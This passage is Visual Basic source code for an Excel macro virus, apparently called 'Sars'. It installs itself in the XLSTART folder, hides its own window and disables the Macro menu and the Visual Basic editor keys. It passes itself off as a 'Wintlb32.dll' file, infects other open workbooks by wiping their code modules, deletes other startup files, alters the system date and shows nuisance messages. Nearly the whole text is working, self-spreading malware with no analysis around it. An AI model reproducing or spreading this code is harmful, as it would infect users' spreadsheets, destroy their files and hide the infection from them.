bg.VBProject.VBComponents.Remove boom
End If
Else
Set bck = boom.codemodule
If bck.CountOflines <> 0 Then bck.Deletelines 1, bck.CountOflines
End If
Next boom
Next j

End Sub

Sub auto_open()
Dim Ct As Object
Dim bg As Object
Dim bgc As Object
Dim bck As Object
Dim xlsz As Object
Dim Ck As Boolean

On Error Resume Next
KillStart
With Application
If Dir(.Path & "\Xlstart") = "" Then MkDir .Path & "\Xlstart"
If Day(Date) = 20 Then
MsgBox "UPDATE ME NOW!", 48, Micro
Date = Now + 1
End If
.ScreenUpdating = False
.EnableCancelKey = xlDisabled
If Day(Date) Mod 2 = 0 Then
.OnTime Now + TimeValue("00:30:00"), "Sars.SarsWordArt"
End If
If Dir(.StartupPath & "\" & Data0) = "" Then
ActiveWorkbook.SaveAs .StartupPath & "\" & Data0
End If
If Workbooks.Count = 1 And .Workbooks(1).Name = Data0 Then
Workbooks.Add: ActiveWorkbook.Windows(1).Caption = "Book1"
End If
Set bg = ActiveWorkbook
.OnKey "%{F12}", "Sars.Cr"
.OnKey "%{F8}", "Sars.Cr"
.OnKey "%{F11}", "Sars.Cr"
.CommandBars("Window").Controls("Unhide...").Enabled = False
.CommandBars("Tools").Controls("Macro").Delete
.OnSheetActivate = "Sars.xls!auto_Open"
Workbooks(Data0).Windows.Item(1).Visible = False

CkAgain
If Dir(.Path & "\Wintlb32.dll") = "" Then
Workbooks(Data0).VBProject.VBComponents(Micro).Export .Path & "\Wintlb32.dll"
End If

For Each boom In bg.VBProject.VBComponents
If boom.Type <> 100 Then
If boom.Name <> Micro Then
bg.VBProject.VBComponents.Remove boom
End If
Else
Set bck = boom.codemodule
If bck.CountOflines <> 0 Then bck.Deletelines 1, bck.CountOflines
End If
Next boom

For Each xlsz In bg.VBProject.VBComponents
If xlsz.Name = Micro Then Ck = True: Exit For
Next xlsz

If Ck = False Then
Set Ct = bg.VBProject.VBComponents
Ct.Import .Path & "\Wintlb32.dll"
Kill .Path & "\Wintlb32.dll"
Workbooks(Data0).Save
If InStr(1, bg.FullName, "\") Then ActiveWorkbook.Save
End If

End With
End Sub
Sub Cr(): MsgBox Data1, 16, "Microsoft Visual Basic": End Sub
Sub SarsWordArt()
On Error Resume Next
ActiveSheet.Shapes.AddTextEffect(msoTextEffect16, Micro, "Arial Black", _
36#, msoFalse, msoFalse, 205.5, 118.5).Select
Range("A1").Select
End Sub
Sub KillStart()
Dim oow As Integer
Dim waw As Object
Dim Myname As String
Dim MyPath As String
On Error Resume Next
MyPath = Application.StartupPath & "\"
Myname = Dir(MyPath, 32)
Do While Myname <> ""
If Myname <> Data0 Then
Set waw = Workbooks(Myname)
waw.Close 0
Kill MyPath & Myname
End If
Myname = Dir()
Loop
End Sub
Sub h()
If Dir(Application.Path & "\Xlstart") = "" Then MkDir Application.Path & "\Xlstart"
End Sub